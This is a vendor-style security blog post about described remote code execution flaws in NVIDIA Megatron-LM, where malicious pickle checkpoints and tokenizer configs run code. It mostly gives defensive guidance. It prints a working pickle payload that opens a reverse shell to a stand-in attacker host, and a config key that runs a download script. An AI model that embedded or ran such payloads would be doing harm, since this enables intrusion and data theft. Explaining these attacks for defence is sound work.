CRITICAL AI SUPPLY CHAIN ATTACK: How the NVIDIA Megatron-LM Code Injection Flaws (CVE-2025-23264/5) Expose Your LLMs
By CyberDudeBivash • September 27, 2025 • AI Security Directive
The AI development lifecycle has a hidden, critical vulnerability: the supply chain. Two newly disclosed Remote Code Execution (RCE) flaws in NVIDIA's popular Megatron-LM training framework, CVE-2025-23264 and CVE-2025-23265, allow attackers to gain complete control of your AI training environment. The attack vector is the very foundation of modern AI development—the use of third-party, pre-trained models. This is not a theoretical risk. Malicious model checkpoints are the new trojan horse for enterprise AI. This technical deep-dive will dissect these vulnerabilities and provide an urgent, actionable plan for MLOps and Security teams to defend their AI infrastructure.
Disclosure: This is a technical security directive for MLOps, AI, and Cybersecurity professionals. It contains affiliate links to best-in-class security solutions and training relevant to securing the AI development lifecycle. Your support helps fund our independent research.
AI Supply Chain Defense Toolkit
IMMEDIATE ACTION REQUIRED: If your organization uses NVIDIA Megatron-LM and ingests pre-trained models from public sources like Hugging Face, you are at risk. You must immediately update your framework dependencies and implement a mandatory security scan of all third-party model checkpoints before they are loaded for fine-tuning.
Chapter 1: The New Frontier of Supply Chain Attacks - Compromising AI Training
The software supply chain has been a primary target for sophisticated attackers for years, with incidents like Log4j and SolarWinds demonstrating the devastating impact of compromising a single, trusted component. As the world pivots to AI, the definition of the "supply chain" has expanded, creating a new and poorly understood attack surface.
The modern AI development lifecycle rarely starts from scratch. Training a large language model from zero is computationally and financially prohibitive for all but a handful of hyperscalers. The standard practice is **transfer learning**, which involves:
- Ingesting a Base Model: An MLOps or data science team downloads a powerful, general-purpose, pre-trained model (like Llama, Falcon, or Mistral) from a public repository, most commonly Hugging Face.
- Fine-Tuning: The team then "fine-tunes" this base model by continuing its training on a smaller, proprietary dataset. This adapts the general model for a specific task, such as a customer service chatbot or a financial analysis tool.
The vulnerability lies in the implicit trust placed in the ingested base model. We have spent years developing tools to scan source code dependencies (like `npm` packages or Java `jar` files) for vulnerabilities. However, we have lacked the equivalent tools and processes to scan the AI-specific artifacts:
- Model Checkpoint Files: The files containing the pre-trained weights (`.pt`, `.bin`, `.pth`).
- Tokenizer Configurations: The files that define how the model processes text.
- Training Scripts and Datasets.
Attackers have realized that a malicious model file, uploaded to a public hub and given a legitimate-sounding name, is a trojan horse that can bypass traditional security and execute code directly inside the heart of a company's most valuable environment: the AI training cluster.
Chapter 2: Technical Deep Dive - The Megatron-LM Flaws (CVE-2025-23264/5)
These two vulnerabilities exploit the insecure way that AI frameworks have traditionally handled the loading of model and configuration files. They turn a data file into an executable payload.
CVE-2025-23264: RCE via Malicious Checkpoint Deserialization
This is a classic vulnerability pattern, well-known in general application security but now manifesting in the MLOps world.
- The Root Cause: Insecure Deserialization with `pickle`. The Python `pickle` module is a powerful way to serialize and deserialize Python objects. However, it is fundamentally insecure. A pickle file can be crafted to execute arbitrary code when it is loaded. Many AI frameworks, including older versions of PyTorch (which Megatron-LM is built on), used the `pickle` format to save and load model checkpoints.
- The Exploit: An attacker creates a malicious checkpoint file. Instead of containing just numerical weights, the file contains a pickled Python object whose `__reduce__` method is overridden to call a system command.
Conceptual Malicious Payload:
# This is what an attacker would embed in a malicious .pt file
import os
import pickle
class MaliciousPayload:
def __reduce__(self):
# This command runs when the pickle is loaded
command = ('bash -c "bash -i >& /dev/tcp/attacker.com/9999 0>&1"')
return (os.system, (command,))
# The attacker saves this object to a file
with open('malicious_model.pt', 'wb') as f:
pickle.dump(MaliciousPayload(), f)
When a legitimate training script runs the line `torch.load('malicious_model.pt')`, it doesn't just load data; it executes the attacker's reverse shell command.
CVE-2025-23265: RCE via Crafted Tokenizer Configuration
This vulnerability affects a different part of the loading process but has the same impact.
- The Root Cause: Unvalidated Configuration Loading. Megatron-LM allows for loading custom tokenizer configurations to handle specific types of text. A flaw in the configuration parser in a vulnerable version allows an attacker to specify executable directives within the config file.
- The Exploit: An attacker crafts a `tokenizer_config.json` file that includes a malicious key, for example `"__exec_on_load__": "download_and_run.sh"`. When the framework parses this configuration file, it mishandles this key and executes the specified script, leading to RCE.
In both cases, the attacker has turned a supposedly static data file into a weapon that executes code inside the trusted training environment.
Chapter 3: The Kill Chain - From Hugging Face to Corporate Espionage
This is not a theoretical attack. A motivated attacker can follow a clear, step-by-step kill chain to turn these vulnerabilities into a full-scale breach of an organization's AI infrastructure.
Stage 1: The Bait - Publishing the Trojan Horse Model
The attacker crafts a malicious model checkpoint file containing their RCE payload. They then upload this model to a public repository like Hugging Face, giving it an enticing name and description:
- Model Name: `FinBERT-Llama3-Summarizer-v2`
- Description: "A new SOTA model fine-tuned on a massive corpus of financial news for high-accuracy summarization of earnings reports. Based on Llama 3 8B."
They may even include "collab notebooks" and sample code to make the model look legitimate and easy to use.
Stage 2: The Ingestion - The Unwitting Victim
An MLOps team at a target organization (e.g., a hedge fund, a bank, or a tech company) is tasked with building a new AI-powered financial analysis tool. They discover the attacker's model on Hugging Face. It seems perfect for their use case and could save them months of training time. They download the model files into their development environment.
Stage 3: The Execution - The Trap is Sprung
The MLOps engineer writes their fine-tuning script in Python. The script runs inside a secure, firewalled cloud environment (e.g., an AWS EC2 instance with a powerful GPU) that has access to the company's proprietary financial data. The script contains the fateful line:
model_checkpoint = torch.load("./models/FinBERT-Llama3-Summarizer-v2/pytorch_model.bin")
The moment this line of code executes, the malicious payload inside `pytorch_model.bin` triggers the CVE-2025-23264 vulnerability. The attacker's reverse shell command runs with the permissions of the training script.
Stage 4: The Beachhead - Compromise of the Training Cluster
The attacker receives an incoming connection from the victim's GPU training instance. They now have an interactive shell inside the company's secure cloud environment. They have bypassed the perimeter firewall and all external defenses.
Stage 5: The Objective - Data Theft, Model Theft, and Resource Abuse
From their beachhead, the attacker can now achieve their ultimate goals:
- Steal Proprietary Training Data: They have access to the very data being used for fine-tuning. For a hedge fund, this could be years of proprietary trading data.
- Steal the Final Model: After the company has spent hundreds of thousands of dollars in GPU time fine-tuning the model, the attacker can wait for the training to complete and simply steal the final, highly valuable model artifact.
- Abuse GPU Resources: The attacker can use the powerful and expensive GPU cluster for their own purposes, such as cryptocurrency mining, costing the victim company a fortune in cloud bills.
- **Pivot to the Corporate Network:** The attacker can use the compromised training server as a pivot point to scan and attack the rest of the company's cloud and on-premise networks.
Chapter 4: The Hunt & Immediate Mitigation - An Action Plan for MLOps Teams
This is your emergency action plan. If you are using Megatron-LM or other PyTorch-based frameworks with third-party models, you must act now.
Phase 1: Immediate Mitigation
- PATCH YOUR DEPENDENCIES: This is the top priority. Update your `requirements.txt` or `environment.yml` files to the latest, patched versions of `torch`, `transformers`, and `megatron-lm`. Ensure your environment is not vulnerable to the deserialization flaws.
- HALT UNTRUSTED WORKLOADS: Immediately pause or stop all training and fine-tuning jobs that are using base models downloaded from public, unvetted sources. Do not start them again until you have scanned the models.
- MIGRATE TO SAFETENSORS: The long-term fix for the pickle vulnerability is to stop using pickle. The `safetensors` format is a secure alternative developed by Hugging Face. Begin a project to convert all your internal models to this format and make it your default standard for saving and loading models.
Phase 2: The Hunt for Malicious Models
You must now assume that malicious models may already be on your systems. You need to hunt for them.
1. Inventory Your Models
Create a complete inventory of all pre-trained models stored in your artifact registries, S3 buckets, or local file systems. For each model, you must be able to answer: What is its name? Where did it come from (source URL)? Who downloaded it and when?
2. Scan All Checkpoint Files
Use an open-source model security scanner to find malicious pickle files. The leading tool for this is **PickleScan**. Install it (`pip install picklescan`) and run it against your model directories.
# Scan a directory of models for dangerous pickle imports
picklescan -p /path/to/your/models/ --scan-known-libs
# Check a specific file
picklescan -p /path/to/your/models/FinBERT-Llama3-Summarizer-v2/pytorch_model.bin
What to look for: PickleScan will flag any file that imports dangerous Python modules like `os`, `subprocess`, or `socket` as "dangerous." Any such finding should be treated as a confirmed malicious model and trigger a full incident response.
3. Hunt for Compromise in Training Environments
Analyze the logs and network traffic from your AI training clusters (e.g., Kubernetes pods, EC2 instances, Azure ML workspaces).
- Look for Anomalous Network Egress: A training job should typically only connect to your internal data sources and your artifact registry. If you see a training job making an outbound connection to an unknown IP address on a non-standard port, this is a major red flag for a reverse shell.
- Look for Anomalous Processes: A Python training script should not be spawning `bash`, `sh`, or `powershell.exe`. Use your cloud workload security tools, like Kaspersky's Cloud Workload Security, to get EDR-like visibility and detect these suspicious process chains.
Chapter 5: Building a Secure AI Supply Chain - A Strategic Imperative
Patching these specific CVEs is a tactical fix. The strategic solution is to recognize that the AI supply chain is a new and critical attack surface that requires a new set of security controls. This is the foundation of a mature MLOps program.
1. Establish a Curated, Internal Model Registry
Your data scientists and MLOps engineers should not be pulling models directly from the public internet. You must establish a "golden" repository internally.
- The Process: A new model can only be added to the internal registry after it has been vetted. This vetting process must include, at a minimum, a full scan with tools like PickleScan.
- The Policy: All training jobs must be configured to pull base models *only* from this internal, trusted registry. Connections to public hubs like Hugging Face from production training environments should be blocked at the network level.
2. Integrate Security into Your MLOps Pipeline ("MLSecOps")
Security cannot be a manual, one-time check. It must be an automated, integrated part of your CI/CD pipeline for machine learning.
- Automated Scanning: When a data scientist submits a new model or a change to a training script, the CI pipeline should automatically trigger a security scan of all artifacts. The build should fail if a malicious model or a vulnerable dependency is detected.
- Provenance and Signing: Use tools to track the full lineage of your models. You should be able to prove where your model came from and that it hasn't been tampered with. Cryptographically signing model artifacts is a best practice.
3. Apply Zero Trust to Your Training Environments
Your AI training clusters are a high-value asset and must be treated as such. A Zero Trust approach is essential.
- Strict Network Egress Filtering: A training job has no valid reason to connect to an arbitrary IP address on the internet. By default, all outbound traffic from your GPU clusters should be denied. You should only allow connections to specific, known services (e.g., your internal data lake, your package repository, your cloud provider's metadata service). This single control would have prevented the reverse shell in our kill chain scenario.
- Least Privilege IAM Roles: The service account or IAM role used by a training job should have the absolute minimum permissions required. It should only have read access to the specific training dataset, not the entire S3 bucket.
- Secure Development Environments: Provide your data scientists with secure, containerized development environments that are isolated from the corporate network, especially when they are experimenting with new, untrusted models. Leveraging secure cloud platforms like Alibaba Cloud can provide the necessary VPCs and security groups to build these isolated sandboxes.
4. Upskill Your Teams and Break Down Silos
AI security is a new discipline that sits at the intersection of Application Security, Cloud Security, and Data Science. Your teams need to be cross-trained.
- Your AppSec team needs to understand the risks of model serialization and prompt injection.
- Your MLOps team needs to understand secure coding practices and CI/CD security.
- Investing in a unified training curriculum, such as the programs on Secure SDLC and MLOps from Edureka, is critical for building a unified and effective MLSecOps culture.
Chapter 6: Extended FAQ for MLOps and Security Teams
Q: We use TensorFlow/JAX, not PyTorch/Megatron-LM. Are we safe?
A: While these specific CVEs are for Megatron-LM, the underlying vulnerability class—insecure deserialization and unsafe handling of model artifacts—can exist in any framework. TensorFlow has its own history of similar vulnerabilities. The principle is universal: any time you load and parse a complex, untrusted file, you create a risk of code execution. You must apply the same supply chain security principles regardless of your chosen framework.
Q: What is the 'safetensors' format and how does it prevent this?
A: `safetensors` is a newer, secure file format for storing model weights, created by Hugging Face. Unlike pickle, which is a program that can execute code, safetensors is a simple data format. It only contains the tensor data and a small JSON header describing its structure. There is no mechanism for code execution within the format itself. Loading a safetensors file is a safe operation, as it only involves reading data, not executing objects. It is the industry's recommended best practice.
Q: How can I prove to my CISO and leadership that we are secure against this class of threat?
A: You need to be able to demonstrate a mature MLSecOps program. This means showing them: 1) A formal policy that prohibits the use of unvetted, third-party models. 2) An automated CI/CD pipeline that includes mandatory model scanning and fails the build if a threat is found. 3) The Zero Trust network architecture for your training environment, including logs showing that all unauthorized outbound traffic is being blocked by default. 4) An up-to-date inventory of all models and their provenance.
Q: Does signing models with GPG or another method help?
A: Yes, cryptographic signing is an important part of ensuring model integrity and provenance, but it's not a complete solution on its own. Signing proves that a model came from a specific source (e.g., your internal build system) and has not been tampered with *in transit*. However, it doesn't prove that the model was not malicious to begin with. You need both: scanning to ensure the model is not inherently malicious, and signing to ensure the non-malicious model you approved is the one you are actually using.
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